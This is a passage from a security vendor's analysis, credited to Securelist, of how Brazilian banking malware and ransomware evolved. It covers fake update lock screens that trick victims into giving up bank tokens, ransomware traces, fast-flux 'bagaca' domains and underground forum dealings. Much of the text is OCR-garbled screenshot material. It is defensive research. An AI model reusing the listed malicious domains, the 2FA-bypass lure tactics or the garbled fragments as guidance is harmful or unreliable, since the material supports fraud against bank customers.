A instalagdo inspeciona seu computador, e toma as agies necessarias para coimecg
eventuais problemas existentes no acesso ao Internet Banking do
Apds essa verificacio, todas as condigbes de acesso deverdo estar estabelecidas.

Solicitaremos dados para confirmagao de titularidade e sincronizacao do sistema com o
computador em acesso listado abaixo:

» Nao utilize seu teclado efou mouse até que seja solicitado, caso confrario, isso podera
interromper e comprometer a atualizagao.

* Nao desligue o seu computador até finalizar a atualizagdo completa.

ATENGAD: Este esti di ivel apenas para 5
Se vocé & usudrio de outro sistema, por faver entre em contato com o suporte técnico.

B soluces de seguranca

Encia Corta - 3‘0

horas

Lembrar agéncia e conta @

ora, o iToken
ra no celular.

_ Mais Seguranca

=5 06|

Lock screen simulating an update

If some information is requested to confirm the transaction, e.g. SMS token, the attacker can ask the victim who

will think the information is necessary in order to proceed with the update process.
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Q

O gue vook procura’?

Felizanon

Feche os olhos, olhe
e faca um download

mensagem para 201

B soluces de seguranca

Sr(a), Nome Cliente

A ferramenta de seguranca esta efetuando a varredura em seu sistema...

O madulo de protecdo, tem comao objetivo proteger seu computador enquanto vocé utiliza o
autoatendimento internet do ltad.

O sucesso dessa medida, depende de alguns cuidados que vocé pode ter com seus dados,
que confribuirdo ainda mais para a sua seguranca..

O sistema ird sincronizar dados com seu dispositivo em acesso.

Informe corretamente os dados solicitados abaixo e aguarde:

Ver o codigo no seu "chaveiro” . s

Digite o codigo do seu iToken final 35

[

ATENGCAD: Este p esti di | apenas para si 5
Se vocé & usudrio de outro sistema, por faver entre em contato com o suporte técnico.

1Enciz Corta E cessar 30

horas

Lembrar agéncia e conta @

ora, o iToken
rano celular.

Resultados 3° trimestre de 2015 _ Imprenza

Relagdes com Investidores

Screen asking for token code

e - O (¢ |

_ Mais Seguranca

Andlizes Econdmicas _ Maiz Seguranqam " Acesso rapido

16:27
14/01/2016

(=]

o

As soon as the user provides the information, the attacker can enter it on the internet banking screen, bypassing

the 2FA used in the transaction.

= PROSOFTWARE 2015 ¥3.0 o ] [
ITAl  DESCO CAI¥A BB CITY BRE  SICREDI  SANTAEMP  UMICRED SICOOB FECHAPAGIMA  OPERAR WINDOWS — MODO DE TELA  BLOQUEID jZ4HRS
MOUSE / TECLADO  Equalizar  TESTE

P [maguina |sEnHAS ||| pADDS i
#|192.168, FI SENHA(6):152452
| |192.168, FI CODIGO SMS:as125252 [T TECLADD 2¢ [ MOUSE 2°

192.168, FI TOKEN:4567
[ |192.168. FI POSICAD:56 I MOUSE C/ BLOQUELD

SENHA{E):1°

Information received from the victim

Ransomware

CODIGO SMY
TOKEMN:4567
POSICAD:56

Brazilian cybercriminals not only work with banking malware — they are also exploring other types of attacks

involving ransomware. Some years ago, we found TorLocker which contains details inside the malware code

suggesting that the developer is from Brazil.
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a_diy:

asc_ 4C2CAE

an
aik:

an db "o",8

ak db “k",8
align

asc_ 4C2CCAH db BDh,8
db BAh,8

AProxyport58818 db “proxyPort = S8618° ,8D0h, BAh
db °"socksParentProxy = 127.8.8.1:9158"° ,8D0h, 8Ah
db °"socksProxyType = socksS*® ,8Dh,8Ah
db : Hep=ulia0a3 ,0

axDoisti7y db 4,8
db

I h ‘Filho de Umbanda npo cait*,8

db

Code containing some strings suggesting the author is from Brazil

As we can see in the image above, we found the sentence highlighted in blue: “Filho de Umbanda ndo cai!”
(“Umbanda’s son never falls down”). Umbanda is an unorthodox religion in Brazil. The name marked in red is the
nickname of the author and it also uses the extension .d74 for the encrypted files. This user is very active on

underground forums looking for malicious services in Brazil.

We also found other references, like the use of a service in Brazil to get the victim IP in order to notify about an

infection.

; CODE XREF: sub_404688+24Tj
offset aHttpWwuw seuip
make request
eax, eax

short loc 4A4728
esi, esi
loc_L4B4B06

Request to a Brazilian service to obtain the victim IP

Some months ago, we found another ransomware program based on the Hidden Tear source code that was
modified to target Brazilian users, differing from the initial program that was found targeting English- and

Japanese-speaking users.
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. SEMARMAT.ppt.l.. MEMSAG

Arquivo  Editar  Formatar  Exibir  Ajuda
TODOS 0% SEUS ARQUIVOS FORAM BLOQUEADOS !

PARA DESELO RMAQGES, ACESSE O LIMK: http:,f/"ls.-dol
ou http: /A 2
ou http: s

Victim’s machine showing messages in Portuguese, asking to pay in order to receive the files

Why they evolve

We have sufficient evidence that Brazilian criminals are cooperating with the Eastern European gangs involved
with ZeuS, SpyEye and other malware created in the region. This collaboration directly affects the quality and
threat level of local Brazilian malware, as its authors are adding new techniques to their creations and getting
inspiration to copy some of the features used in the malware originating from Eastern Europe. Brazilian

cybercriminals are not only developing the quality of their code but also using the cybercrime infrastructure from

abroad.

We saw the first sign of this ‘partnership’ in the development of malware using malicious PAC scripts. This
technique was heavily exploited by Brazilian malware starting in 2011 and was later adopted by Russian banking
Trojan Capper. This cooperation continued as Brazilian criminals started to use the infrastructure of banking
Trojans from Eastern Europe — the Trojan-Downloader.Win32.Crishi was the first to use DGA domains hosted
at bulletproof companies from Ukraine. Also the Boleto malware adopted the massive usage of fast flux domains,
aiming to avoid the takedown of C2s — we saw that with the “bagaca” (bagasse in Portuguese) domains, registered
using anonymous services, which hosted crimeware and boleto stuff and was resolving different IPs for every

request.
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bagacai.ru
bagaca2.ru
bagaca3.ru
bagaca4.ru
bagaca5.ru
bagacadoidb.ru
bagacaoutra.ru
bagacarica.ru
bagacaveia.ru
bagacadoida.ru
bagacafeia.ru
bagacamedio.ru
bagacamesmo.biz
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C fi

') bagacaveia.ru/novo3.php

{'mumber"'03397.84407 00000.549659 19010.24 4 00000000009669","barcode"

AR

= Whois & Quick Stats

Email

Registrant Org

Dates

Domain Status
Whois History
IP History
Hosting History

Whois Server

bagacame...@anonymousbitcoindomains.com lad
system@anonymousbitcoindomains.com is associated with ~90 domains

Proxied hyIAncmymousBitcoinDomains.com]is associated with ~90 other (ad
domains
Created on 2014-09-10 - Expires on 2015-09-09 - Updated on 2015-09-09 (ad

On-hold (pending Delete)

14 records have been archived since 2014-09-12 (ad
3 changes on 3 unique IP addresses over 1 years -~
2 changes on 2 unique name servers over 1 year -~
whois.biz

The “bagag¢a” domains: fast flux and bulletproof from Eastern Europe

Other strong signs of their cooperation are the constant presence of Brazilian cybercriminals on Russian or Eastern

European underground forums. It’s not unusual to find Brazilian criminals on Russian underground forums

looking for samples, buying new crimeware and ATM/PoS malware, or negotiating and offering their services.

The results of this cooperation can be seen in the development of new techniques adopted in Brazilian malware.

a XekSecurity > Toproeas nnowaaka, CounancHele ceTu, Pabota > MNokynka/Mpoaaxa/06mMeH

L.#4 Buying BR loads - paying well

Bano@néﬂtdﬂhlx ALWMKOE U AKKAYHTOB !

Deer.IO - Co3aali CBOl MaraavH aKKayHTOB _

OTEETUTh v

& 14.02.2014, 19:56

..Doisti74 <
XekSec

4

Buying BR loads - paying well

L Buying BR loads - paying well

I am buying BR loads - paying well. 1k minimum.

If all ok, will buy always.

BitCoin.

jabber: Doisti74@
Jabber: Doisti74@

CoobuweHunid: nfa

The Brazilian malicious author of TorLocker negotiating in a Russian underground forum
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These facts show how Brazilian cybercriminals are adopting new techniques as a result of collaboration with their
European counterparts. We believe this is only the tip of the iceberg, as this kind of exchange tends to increase

over the years as Brazilian crime develops and looks for new ways to attack businesses and regular people.

Conclusion

Cybercrime in Brazil has changed drastically in the last few years, as it shifted from simple keyloggers built from
public source code to tailored remote administration tools that can run a complete attack by using the victim

machine.

Malware that used to show a phishing screen as soon as it was executed is now completely reactive and waits for a

valid session in order to start the job.

That means that the criminals are investing much more money and time in order to develop their malicious code,

enhancing anti-debugging techniques and then running the malware undetected for much longer.

As we know, they are in touch with cybercriminals from Eastern Europe, mainly Russians, where they exchange
information, malware source code and services that will be used in Brazilian attacks. We can see that many of the
attacks used in Brazil were first seen in Russian malware as well as Brazilian techniques later being used in

Russian attacks.

Based on that, we can expect to find Brazilian malware with enhanced code obfuscations, anti-debugging tricks,

encryption algorithms and secure communications making our work much harder than now.

Source: https://securelist.com/the-evolution-of-brazilian-malware/74325/#rat
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